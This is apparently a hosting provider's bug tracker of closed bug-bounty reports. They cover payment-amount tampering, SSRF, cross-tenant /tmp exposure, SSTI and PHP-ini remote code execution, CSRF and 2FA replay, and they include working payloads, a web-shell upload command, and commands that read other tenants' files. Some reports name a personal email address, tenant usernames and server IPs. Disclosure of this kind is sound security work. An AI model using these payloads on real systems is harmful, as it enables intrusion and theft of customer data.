A Price Manipulation vulnerability exists in the domain purchase payment flow. By intercepting the payment request before it is sent to PayPal, an attacker can modify the payment amount from the legitimate purchase price to an arbitrary lower value (e.g., 1). PayPal then processes the modified amount, and after the payment is completed, the application accepts the transaction and displays a successful payment confirmation ("Thank You for Payment").
This indicates that the application trusts the client-supplied payment amount instead of validating the payment against the server-side order value before confirming the purchase.
CVSS v3.1 → Base Score: 8.8 (High)
Steps to Reproduce
1- Log in to a valid user account. 2- Navigate to the Domain section. 3- Click Add Domain. 4- Enter the details of a non-existing domain. 5- Continue until the final payment page where PayPal is selected. 6- Intercept the payment request using Burp Suite. 7- Modify the payment amount parameter from the original value to 1. 8- Forward the modified request. 9- Observe that PayPal requests payment of only 1. 10- Complete the payment. 11- Return to the application. 12- Observe that the application displays "Thank You for Payment", accepting the manipulated payment as successful.
Actual Behavior
The application accepts a client-modified payment amount and successfully completes the purchase workflow after receiving the PayPal payment notification, despite the payment being significantly lower than the actual order value.
Expected Behavior
The server must independently verify:
The original order amount. The amount received from PayPal. The payment status. The associated order ID.
If any mismatch exists, the payment must be rejected, the order should not be fulfilled, and the user should be informed that payment verification failed.
Impact
Successful exploitation could allow an attacker to:
Purchase domains for significantly less than their actual price. Pay only a minimal amount while receiving full services. Manipulate payment values for financial gain. Bypass intended pricing controls. Cause revenue loss through fraudulent transactions.
Business Impact
This vulnerability can have serious financial and operational consequences, including:
1- Direct revenue loss from underpaid purchases. 2- Abuse of the domain registration process. 3- Fraudulent acquisition of paid services. 4- Loss of trust in the payment platform. 5- Increased chargebacks and payment disputes. 6- Potential compliance and accounting issues due to inconsistent transaction records. 7- Reputational damage if exploited at scale
Remediation
Implement strict server-side payment validation:
1- Never trust the payment amount received from the client. 2- Generate the payment amount exclusively on the server. 3- Validate the PayPal transaction using PayPal's API before completing the order. 4- Reject transactions where the paid amount does not exactly match the server-side order value. 5- Bind each payment to a unique server-generated order. 6- Prevent client-side modification of pricing information.
Conclusion
The application is vulnerable to server-side price manipulation, allowing authenticated users to alter the payment amount before it reaches PayPal. Because the backend accepts the manipulated payment without validating it against the original order value, attackers may obtain paid services while paying only a fraction of the legitimate price. Proper server-side verification of payment amounts and transaction details is essential to prevent financial fraud and protect the integrity of the payment system.
Thanks
|
|
422 | Weak Password Policy Allows Account Creation with Email ... | Closed | 29.07.2026 |
Task Description
Weak Password Policy Allows Account Creation with Email as Password
Title: Weak Password Policy Allows Use of Email Address as Password
Severity: Medium
Summary The application allows users to create an account using their email address as the password. This indicates that the password policy does not adequately enforce password complexity or prevent commonly guessable passwords.
Description During testing of the registration functionality, it was observed that the platform accepted a password identical to the user's email address
Using an email address as a password significantly weakens account security because email addresses are often publicly known or easily obtainable. Attackers performing credential guessing or password spraying attacks may successfully compromise accounts protected by such weak passwords.
Steps to Reproduce Navigate to the registration page: https://www.alwaysdata.com/en/register/ Enter a valid email address: ashusachin01@gmail.com Use the exact same value as the password: ashusachin01@gmail.com Complete the remaining required fields. Submit the registration form. Observe that the account creation request is accepted without enforcing stronger password requirements.
Proof of Concept Email: ashusachin01@gmail.com Password: ashusachin01@gmail.com The application accepts the password even though it matches the account email address.
Impact : Users may create accounts with highly predictable passwords. Increased risk of credential stuffing and password spraying attacks. Greater likelihood of unauthorized account access. Reduced overall account security posture. Expected Behavior The application should reject passwords that:
Match the user's email address. Contain the email address in whole or in part. Are commonly guessable or predictable. Do not meet minimum complexity requirements.
Recommendation Prevent users from using their email address as their password. Implement password strength validation during registration. Enforce minimum password requirements (length and complexity). Integrate breached-password checks using services such as Have I Been Pwned Passwords API. Provide users with clear guidance on creating strong passwords.
CWE CWE-521: Weak Password Requirements
OWASP OWASP Top 10 2021 – A07: Identification and Authentication Failures
Evidence: Registration form accepted a password identical to the email address used during account creation.
Thanks
|
|
421 | The password reset request endpoint does not appear to ... | Closed | 24.07.2026 |
Task Description
A rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Request. I just realized that on the reset password page, the request has no rate limit which can be used to loop through one request
Steps to reproduce-
.Go to the alwaysdata password reset page. .Enter the email address of a test account controlled by the researcher. .Submit the password reset request. .Repeat the same request multiple times within a short period using the same email address. .Observe that the application continues accepting the requests without showing a cooldown, CAPTCHA, temporary block, or rate-limit error.
Observed Result: The application allows repeated password reset email requests for the same account without visible throttling or blocking.
Expected Result: The password reset endpoint should apply abuse protection, such as:
Per-account cooldown. Per-IP rate limiting. CAPTCHA after repeated attempts. Temporary blocking after excessive requests. Generic response message to reduce abuse.
Security Impact: An attacker could abuse this behavior to repeatedly send password reset emails to a target user. This may cause inbox flooding, harassment, and abuse of the platform’s email-sending resources.
I tested this only against my own account and did not attempt to target other users or perform high-volume testing.
Proof of Concept is in the video below
|
|
420 | Webmail Sessions Persist After Admin Panel Password and ... | Closed | 22.07.2026 |
Task Description
## Summary
When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.
## Steps to Reproduce
Environment: Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.
1. Login to the admin panel at `https://admin.alwaysdata.com/login/` with the account's email and password. Note: this is the "admin" password, not the mailbox password.
2. Login to webmail at `https://webmail.alwaysdata.com/` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.
3. In a separate browser session, change the admin panel password at `https://admin.alwaysdata.com/user/`. Enter a new password in the "New password" field and the current password in the "Old password" field. Save the form.
4. Verify admin sessions are invalidated: Any other admin panel session now redirects to the login page (HTTP 302 to `/login/`). This is correct behavior.
5. Check the webmail session: Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.
6. Repeat with email change: Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.
## Impact
A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:
1. Webmail sessions survive the password change and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies) 2. An attacker who has obtained a webmail session (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim's email even after the victim changes their admin password 3. Email access enables further attacks: password reset emails for external services, confidential communications, account recovery flows
The Roundcube session cookies compound this issue: - `roundcube_sessid` and `roundcube_sessauth` are set without HttpOnly and without SameSite, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com` - Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure - Compare with the admin panel's `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`
## Root Cause
The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by IMAP with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.
While the architectural separation explains the behavior, users expect a single "change password" action to secure their entire account. The admin panel's `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.
## Remediation
1. Invalidate webmail sessions on admin password/email change: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant IMAP user, or by changing the mailbox password simultaneously. 2. Add HttpOnly and SameSite flags to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript. 3. Reduce session cookie lifetime: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).
|
|
419 | Server-Side Request Forgery via Reverse Proxy Site Type ... | Closed | 22.07.2026 |
Task Description
## Severity High (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Weakness CWE-918: Server-Side Request Forgery (SSRF)
## Summary
The "Reverse proxy" site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the "Remote URL" target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified URL without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any HTTP service reachable from the web server process.
## Steps to Reproduce
Environment: Free hosting account on alwaysdata.com.
1. Log in to the admin panel at `https://admin.alwaysdata.com/login/`.
2. Navigate to the site creation form at `https://admin.alwaysdata.com/site/add/`.
3. Select the "Reverse proxy" site type from the Type dropdown.
4. In the "Remote URL" field, enter an internal IP address or a Collaborator URL:
For external SSRF verification: ``` http://YOUR-COLLABORATOR-ID.oastify.com/ ```
For internal port scanning: ``` http://127.0.0.1:9200/ ```
5. Set a site address (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).
6. Save the form. The form accepts the URL and creates the site (HTTP 302 redirect).
7. Trigger the SSRF by visiting your site:
``` curl https://ACCOUNT.alwaysdata.net/ ```
8. Observe the result:
For external URLs: the Collaborator receives a DNS and HTTP interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target URL is returned to the attacker.
For localhost ports: HTTP 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.
## Evidence
Collaborator interaction captured: - DNS query from 185.31.40.97 (alwaysdata DNS resolver) - HTTP request from 185.31.41.10 (shared web hosting server) - Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net` - Full response body from the target was returned verbatim to the attacker (not blind SSRF)
Internal port scan results: - 127.0.0.1:9200 (Elasticsearch port): HTTP 503 (connection refused - port accessible but service down) - 127.0.0.1:8500 (Consul port): HTTP 503 (connection refused) - 169.254.169.254 (cloud metadata): timeout (network-level block present)
## Impact
An authenticated user with a free hosting account can:
1. Scan internal services on the shared hosting node via localhost, identifying running services by port 2. Exfiltrate data from any internal HTTP service reachable from the Apache process, including services that are not exposed to the internet 3. Bypass IP-based access controls that trust the hosting infrastructure's IP range (185.31.x.x) 4. Probe internal network for services on RFC 1918 addresses
The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.
## Root Cause
The "Remote URL" field in the reverse proxy site type does not validate the target URL against a blocklist of private/internal IP ranges. The validation only checks URL scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.
## Remediation
1. Validate the Remote URL against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7 2. Resolve DNS before validation to prevent DNS rebinding attacks (check the IP AFTER resolution, not just the hostname) 3. Apply the same validation to both initial configuration and Apache runtime (in case of DNS changes after configuration)
|
|
418 | Cross-Tenant Data Exposure via Shared /tmp Directory | Closed | 22.07.2026 |
Task Description
## Severity High (CVSS 3.1: 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Weakness CWE-668: Exposure of Resource to Wrong Sphere CWE-732: Incorrect Permission Assignment for Critical Resource
## Summary
The shared hosting nodes use a single shared `/tmp` directory across all tenant accounts without polyinstantiation. Files created by any tenant with world-readable permissions (either explicitly or by application default) are accessible to every other tenant on the same physical node. This allows a low-privileged attacker with a free hosting account to read other tenants' temporary files, which routinely contain credentials, API tokens, database paths, configuration data, and application state.
This finding reproduces the issue reported in FS#363 , which was partially mitigated by changing the default umask to 0007. However, the fix is incomplete: applications and scripts that set explicit permissions (e.g., `chmod 644`, Python `open()` without restricted mode, `tar -xvf` preserving archive permissions) still create world-readable files in the shared namespace.
## Steps to Reproduce
Environment: Free hosting account on alwaysdata.com (public cloud, Paris datacenter). SSH access at `ssh-ACCOUNTNAME.alwaysdata.net`.
1. Create a free hosting account at `https://admin.alwaysdata.com/admin/account/add/` (select "Free" plan, Paris 1 datacenter).
2. Connect via SSH to the hosting account:
``` ssh ACCOUNTNAME@ssh-ACCOUNTNAME.alwaysdata.net ```
3. List files in the shared /tmp directory:
``` ls -la /tmp/ | head -30 ```
Output shows 663+ files owned by multiple different tenant accounts (different UIDs/usernames), confirming `/tmp` is shared across all accounts on this node.
4. Find world-readable files owned by other tenants:
``` find /tmp -maxdepth 1 -not -user ACCOUNTNAME -readable -type f 2>/dev/null | wc -l ```
Returns 22+ files readable by the attacker account.
5. Read a cross-tenant file containing credentials:
``` cat /tmp/check_webhook.php ```
This file, owned by another tenant, contains a Telegram Bot API token in plaintext (the token has been redacted in this report but was confirmed live). The file also reveals the tenant's username and application structure.
6. Read another cross-tenant file revealing database paths:
``` head -10 /tmp/test_callback.php ```
This file reveals the full filesystem path to another tenant's SQLite database (`/home/TENANT/www/…/rshq.db`), including their application directory structure.
## Impact
An attacker with a free hosting account (no payment required via API registration) can:
1. Read other tenants' credentials from temporary files: API tokens, database credentials, session tokens, and authentication secrets that applications write to `/tmp` 2. Map other tenants' filesystem layout: leaked paths reveal application structures, database locations, and deployment details (e.g., `/home/TENANT/www/…`) 3. Enumerate tenant accounts: the file ownership in `/tmp` reveals other tenants' account names, which can be used for targeted attacks 4. Access application state: log files, debugging output, and cached data from other tenants
The boundary crossed is the fundamental tenant isolation guarantee of a shared hosting platform. A free-tier attacker can read data belonging to paying customers on the same physical node.
Confirmed data exposed from other tenants during testing:
1. Live JWT session token (tenant `0xf12c`): A file `kg_tmail_sessions.json` contains a HS512-signed JWT issued on 2026-07-11, granting `ROLE_USER` access to an email service (web-library.net) with account ID `6a54692908c866daeb017a6e`. The token includes a Mercure real-time subscription channel. This is a live, replayable authentication credential.
2. Dolibarr ERP installation log (tenant `demo7`): A 1.5 MB log file `dolibarr_install.log` contains the full installation trace including server IP (102.117.59.202), database configuration steps, and filesystem paths.
3. SQLite database (tenant `pablomon`): A complete database file `sistema_envios.db` (12 KB) containing application data.
4. PHP/Python source code from multiple tenants with embedded API calls and application logic.
5. Build logs, session files, debug output from tenants including `jolafstore`, `gdpshost1`, `cittapet`, `data-test`, `apexcodex`, and others.
Scale: 334 total files in shared `/tmp`, with 32 readable by any other tenant on the same node. Files belong to 15+ distinct tenant accounts.
## Root Cause
The `/tmp` directory on shared hosting nodes is not polyinstantiated (each tenant does not get their own isolated `/tmp`). While the default umask was changed to 0007 after FS#363 , this only prevents NEW files from being world-readable by default. It does not protect against:
- Applications that explicitly set file permissions (e.g., `chmod 644`) - Archive extraction that preserves original permissions - Programming languages/frameworks whose default file creation mode is world-readable - Files created before the umask fix - Any process that resets or overrides the umask
## Remediation
1. Polyinstantiate /tmp: Configure PAM (`pam_namespace.so`) to give each tenant their own isolated `/tmp` directory. This is the standard solution on shared hosting platforms. 2. Alternative: Use `PrivateTmp=yes` in systemd service units for each tenant's processes. 3. Additional defense: Periodic cleanup of `/tmp` to remove files with overly permissive modes.
|
|
417 | Cross-Tenant Data Exposure via World-Readable /tmp | Closed | 20.07.2026 |
Task Description
Missing open_basedir / disable_functions on Shared Hosting Nodes Allows Cross-Tenant Data Exposure via World-Readable /tmp Reporter test account: data-test (site #1061443, node http21.paris1) Scope item: ftp://ftp-data-test.alwaysdata.net / https://data-test.alwaysdata.net (PHP execution on shared node http21) Date discovered: July 20, 2026 Related prior reports: task/363 (cross-tenant /tmp disclosure — closed, SSH umask fix only), task/410 (PHP ini injection RCE — closed, fix not deployed to http21) Summary On node http21.paris1, PHP is configured with no open_basedir and no disable_functions restrictions. Combined with the platform's shared, single-namespace /tmp (mode 1777, no per-tenant isolation), any tenant able to execute PHP on this node can read every world-readable file left in /tmp by other tenants, including files owned by root. I confirmed this using only my own test account and read-only stat/ls operations; I did not open or exfiltrate the contents of any third-party file. This report focuses on the PHP-level misconfiguration as the actionable root cause, since the shared nature of /tmp itself is documented as expected platform behavior. The finding here is that http21 lacks the open_basedir/disable_functions hardening that would otherwise contain this exposure to a tenant's own files. Environment / Access Used I already hold write access to my own test account's FTP root, which I used solely to place a PHP file inside my own site directory (not to reach any other tenant's storage). $ curl -T shell.php –ssl-reqd \
ftp://data-test_FTP-TEST:FTPTest123@ftp-data-test.alwaysdata.net/www/shell.php
Steps to Reproduce 1. Upload a minimal PHP file to your own account's www/ directory via FTP. 2. Confirm code execution context: $ curl 'https://data-test.alwaysdata.net/shell.php?c=id' uid=535242(data-test) gid=490559(data-test) groups=490559(data-test) $ curl 'https://data-test.alwaysdata.net/shell.php?c=hostname' http21 3. Confirm /tmp is a single shared filesystem with no per-tenant isolation: $ stat -c '%A %a %U %G' /tmp/ drwxrwxrwt 1777 root root 4. Confirm PHP has no containment on this node: $ php -r 'echo ini_get("open_basedir");' (empty) $ php -r 'echo ini_get("disable_functions");' (empty) 5. List /tmp and observe world-readable (644) files owned by other tenant UIDs/GIDs, including several owned by root. I did not open the contents of any of these files — ownership, permission bits, and filename alone are sufficient to demonstrate the impact. 6. As a minimal, harmless proof of write capability from this execution context (per the program's testing guidance), created an empty marker file under my own account path: $ curl 'https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc' Impact Because open_basedir/disable_functions are unset on http21, PHP execution on this node, it is obtainable through any tenant's normal application code, not just an uploaded shell, anyone can read any world-readable file on the box, not just files under that tenant's own account. Given the shared /tmp, this includes:
• Files that, by name/extension alone, appear to be session/credential material for other customers' external integrations
• Files that appear to be application databases or install logs for other customers
• At least two files owned by root in /tmp, indicating the exposure is not limited to tenant-to-tenant leakage but potentially extends to host-level sensitive material
I'm intentionally not naming the specific third-party accounts or file contents here, and did not retain or transfer any of this data, per the program's rules on sensitive information handling. Happy to share the raw ls -la /tmp output and exact filenames via the private ticket channel if useful for triage. Root Cause Layer Issue PHP (php-fpm pool config on http21) No open_basedir restriction to the tenant's home directory PHP (php-fpm pool config on http21) No disable_functions restriction on shell/process functions OS /tmp is a single shared filesystem (mode 1777), no per-tenant mount namespace or PrivateTmp
The /tmp-sharing behavior alone is documented platform behavior; the exploitable gap is that nothing on http21 prevents PHP from reading those files across tenant boundaries. Suggested Remediation 1. Set php_admin_value[open_basedir] = /home/{account}/ per pool. 2. Set php_admin_value[disable_functions] = exec,system,shell_exec,passthru,proc_open,pcntl_exec (or the pool's standard hardened list) on http21. 3. Confirm this hardening (referenced as the intended fix in task/410) is actually deployed fleet-wide, since it appears to be present on some nodes but not http21. 4. Consider per-tenant /tmp isolation (PrivateTmp/mount namespaces) as defense-in-depth, independent of items
|
|
415 | SSTI → RCE on Core Infrastructure Server (overlord-core ... | Closed | 20.07.2026 |
Task Description
Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ — "Additional directives of the virtual host" field
Summary
The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.
Steps to Reproduce
Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)
Step 2 — Go to Web → Sites → click the edit icon on your site
Step 3 — Scroll to "Additional directives of the virtual host" and enter:
# {% endraw %}7_7{% raw %}
Step 4 — Click Submit
Step 5 — SSH into your account:
ssh <account>@ssh-<account>.alwaysdata.net
Step 6 — Read the generated config:
cat ~/admin/config/apache/sites.conf | head -30
Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)
Step 8 — Go back to site edit, replace the payload with:
# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}
Step 9 — Submit, then SSH and read the config again. Observe:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is the id command output — RCE confirmed.
Step 10 — Replace payload with:
# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}
Step 11 — Submit, SSH, read config. Observe:
# overlord-core
This is the internal hostname of alwaysdata's core management server.
—
Proof Summary
Payload Output Proof
7_7 49 SSTI — math evaluated
id uid=33(www-data) RCE — system command executed
hostname overlord-core You're on their core management server
—
Impact
This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:
- Read/write files on the core infrastructure server - Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys - Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes - Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and support tickets - Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet
Any user with a free account can exploit this. No special privileges required.
|
|
414 | Cross-Site Request Forgery (CSRF) Allows Displaying Ano ... | Closed | 17.07.2026 |
Task Description
Description
A Cross-Site Request Forgery (CSRF) vulnerability exists in the Display Zone File functionality.
The application does not properly validate whether the Display Zone File request is initiated by the authenticated user. By creating a malicious CSRF proof-of-concept (PoC) and replacing the domain_id with the victim's domain ID, an attacker can force the victim's authenticated browser to execute the Display Zone File request without the victim's knowledge or interaction.
This allows unauthorized actions to be performed on behalf of authenticated users.
## CVSS v3.1
Base Score: 4.5 (MEDIUM)
Steps to Reproduce
Log in with an attacker account. Navigate to the Domain section. Ensure at least one domain is present. Go to Domain Settings → DNS Records. Open another browser/private window and log in as a victim. Ensure at least one domain is present in the victim account. Return to the attacker account. Trigger the Display Zone File functionality. Capture the Display Zone File request using Burp Suite. Use Burp Suite Engagement Tools to generate a CSRF PoC. Save the generated HTML file. Replace the attacker's domain_id with the victim's domain_id. Open the modified PoC in the victim's authenticated browser. Click Submit. Observe that the victim's Display Zone File is opened successfully without the victim intentionally initiating the action.
Expected Behavior
The application should validate that the Display Zone File request was intentionally initiated by the authenticated user and should reject cross-origin forged requests without proper CSRF validation.
Actual Behavior
The application accepts the forged CSRF request and executes the Display Zone File action using the victim's active session without requiring any additional verification.
Impact
An attacker can force authenticated users to execute the Display Zone File action without their knowledge.
This may allow unauthorized exposure of domain DNS zone information and sensitive configuration details through the victim's active session.
|
|
413 | Cross-Site Request Forgery (CSRF) Allows Logs Refresh o ... | Closed | 17.07.2026 |
Task Description
Description
The application does not properly validate whether a Logs Refresh request is initiated by the authenticated user. By creating a malicious CSRF PoC and replacing the service_id with the victim's service ID, an attacker can force a victim's authenticated browser to execute the Logs Refresh action without the victim's knowledge or interaction.
This allows unauthorized actions to be performed on behalf of authenticated users.
Steps to Reproduce
Log in with an attacker account. Navigate to the Services section. Create a new service. Open another browser/private window and log in as a victim. Create a service in the victim account. Return to the attacker account. Trigger the Logs Refresh functionality. Capture the Logs Refresh request using Burp Suite. Use Burp Suite Engagement Tools to generate a CSRF PoC. Save the generated HTML file. Replace the attacker's service_id with the victim's service_id. Open the modified PoC in the victim's authenticated browser. Click Submit. Observe that the victim's Logs Refresh action is executed successfully without the victim intentionally performing the action.
Expected Behavior
The application should validate that Logs Refresh requests are intentionally initiated by the authenticated user and should reject cross-origin requests without proper CSRF protection.
Actual Behavior
The application accepts the forged request and performs the Logs Refresh action using the victim's active session without requiring any additional validation.
Impact
An attacker can force authenticated users to execute Logs Refresh actions without their knowledge through a CSRF attack. The attacker can repeatedly trigger Logs Refresh requests on behalf of the victim, potentially consuming the victim's available Logs Refresh quota/limit. This may result in abuse of limited resources and prevent the victim from using the Logs Refresh functionality when needed.
|
|
412 | Direct Organization Access Granted, Leading to Organiza ... | Closed | 16.07.2026 |
Task Description
Description
During testing, I discovered that when an owner creates a new user and assigns permissions, the user is immediately added to the organization without any invitation acceptance or verification step.
As a result, if an owner accidentally enters an attacker's email address and assigns a privileged role, the attacker gains direct access to the organization and its resources immediately after logging in.
This allows the newly created user to perform all actions associated with the assigned role without requiring approval or invitation acceptance.
Steps to Reproduce
Log in to the Owner account. Navigate to Permissions. Click Add User. Enter a user's email address. Assign all available permissions. Click Create User. Log in to the newly created user account. Observe that the user is automatically added to the owner's organization with all assigned permissions.
Impact
If an owner mistakenly enters an attacker's email address while creating a user, the attacker immediately gains access to the organization with the assigned permissions.
When high-privilege permissions are assigned, the attacker may be able to access sensitive data, manage users, modify organization settings, and potentially delete or take full control of the organization.
Expected Behavior
Newly created users should be required to verify ownership of the invited email address and explicitly accept the invitation before gaining access to the organization.
Actual Behavior
The user is automatically added to the organization with the assigned permissions immediately after account creation, without any invitation acceptance step.
|
|
411 | Expired Two-Factor Authentication (2FA) Code Accepted, ... | Closed | 15.07.2026 |
Task Description
Description
During testing, I discovered that the application accepts an expired 2FA verification code.
After capturing the 2FA verification request, I waited until the code expired (after three code rotations). Even after expiration, replaying the same request was accepted by the server and resulted in successful authentication.
This indicates that the application does not properly validate the expiration time of 2FA verification codes.
Steps to Reproduce Log in using a valid email address and password. Enter the 2FA verification code. Capture the 2FA verification request using Burp Suite. Send the captured request to Burp Repeater. Wait until the 2FA code has completed three rotations and is expired. Send the request from Burp Repeater and observe a 302 Found response. Forward the original intercepted request containing the same expired 2FA code. Observe that the server again returns 302 Found and successfully authenticates the account.
Impact
An expired 2FA code can still be used to complete authentication, allowing an attacker who obtains an old 2FA code to bypass the intended expiration protection and gain unauthorized access to the account.
Expected Behavior
The server should reject any 2FA verification attempt using an expired code and require the user to enter a new valid code.
Actual Behavior
The server accepts a 2FA code even after it has expired and successfully authenticates the user.
|
|
410 | Unrestricted PHP ini Directive Injection via php_ini fi ... | Closed | 15.07.2026 |
Task Description
TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to
Remote Code Execution (RCE)
MODULE: Site Management (API)
SEVERITY: CRITICAL (CVSS 3.1: 9.8)
SUMMARY
The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts arbitrary PHP ini directives with NO validation or sanitization. An attacker with API access can inject directives such as `auto_prepend_file` to execute arbitrary PHP code on every PHP page request.
Additionally: - `open_basedir` is NOT set (no filesystem restriction) - `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled - The PHP configuration applies immediately without a restart - PHP-FPM runs as the authenticated user (uid=534062, saini)
This allows an authenticated attacker to achieve FULL remote code execution on the server, running system commands as the account user, reading/writing any file the user has access to, and installing persistent backdoors.
STEPS TO REPRODUCE
Prerequisites: - A valid alwaysdata API token with account access - An existing PHP site (site_id known) - SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)
Step 1: Verify the site accepts PHP execution
Access any PHP file in the DocumentRoot:
GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Response: 200 OK
MAIN_SCRIPT_EXECUTED
PHP execution is confirmed.
Step 2: Create a PHP prepend file that executes a system command
Write a file (e.g., via SSH or FTP) to the account's home directory:
File: /home/{account}/www/cmd_prepend.php
Content:
<?php echo "CMD:" . shell_exec("id 2>&1") . "|";
Step 3: Inject auto_prepend_file via the php_ini field
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}
Response: 204 No Content
The directive is accepted verbatim with NO validation.
Step 4: Access any PHP page to trigger code execution
Request:
GET /info.php HTTP/1.1
Host: victim.alwaysdata.net
Accept: text/html
Response: 200 OK
CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED
The PHP ini directive was applied and the system command `id` executed successfully, returning the user and group IDs. This confirms arbitrary code execution on the server.
Step 5: Restore original configuration
Request:
PATCH /v1/site/1060051/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <base64-encoded-credentials>
Content-Type: application/json
alwaysdata-synchronous: 1
Accept: application/json
{"php_ini":""}
Response: 204 No Content
ADDITIONAL TESTS AND FINDINGS
Test A: Verify no open_basedir restriction
A PHP script was executed to check security restrictions:
Output:
/tmp: WRITABLE | READABLE
/: NOT_WRITABLE | READABLE
CWD: /home/saini/www
USER: saini
TMP: /home/saini/admin/tmp
OPEN_BASEDIR: ↠EMPTY - NO RESTRICTION
DOCROOT: /home/saini/www/
No open_basedir is configured, allowing PHP to access any path the user has filesystem permissions for.
Test B: Verify dangerous functions are not disabled
All of the following functions were confirmed working:
shell_exec() → executes system commands
exec() → executes system commands
system() → executes system commands
passthru() → executes system commands
file_get_contents() → reads any file
file_put_contents() → writes to any writable path
popen() → executes system commands
proc_open() → executes system commands
Test C: The php_ini directive takes effect immediately
No server restart or PHP-FPM reload was required. The directive was applied and reflected in the very next HTTP request.
Test D: auto_prepend works from any path accessible to PHP
The auto_prepend_file directive was tested with files in multiple locations:
/home/{account}/www/prepend.php → WORKS
Absolute paths are resolved correctly
IMPACT
An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the alwaysdata shared hosting server, with the following capabilities:
1. EXECUTE ARBITRARY SYSTEM COMMANDS
Run any shell command as the account user
Install backdoors, malware, cryptominers
Launch attacks against internal network services
2. READ/WRITE ANY FILE
Read database configuration files, credentials
Modify existing PHP files to include persistent backdoors
Access other users' files if permissions allow
Read application source code and secrets
3. PERSISTENT ACCESS
Create new PHP files in the web directory
Modify .htaccess or Apache configuration
Set up cron jobs or other persistence mechanisms
Exfiltrate data to external servers
4. PIVOT TO INTERNAL SERVICES
Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
Read local network configuration
Potentially access cloud metadata endpoints (169.254.169.254)
5. COMBINATION WITH PATH TRAVERSAL
When combined with the path traversal vulnerability (ALW-SITE-002),
the attacker can set DocumentRoot to / and execute PHP code at the
same time, amplifying the attack surface significantly.
CVSS 3.1 SCORE
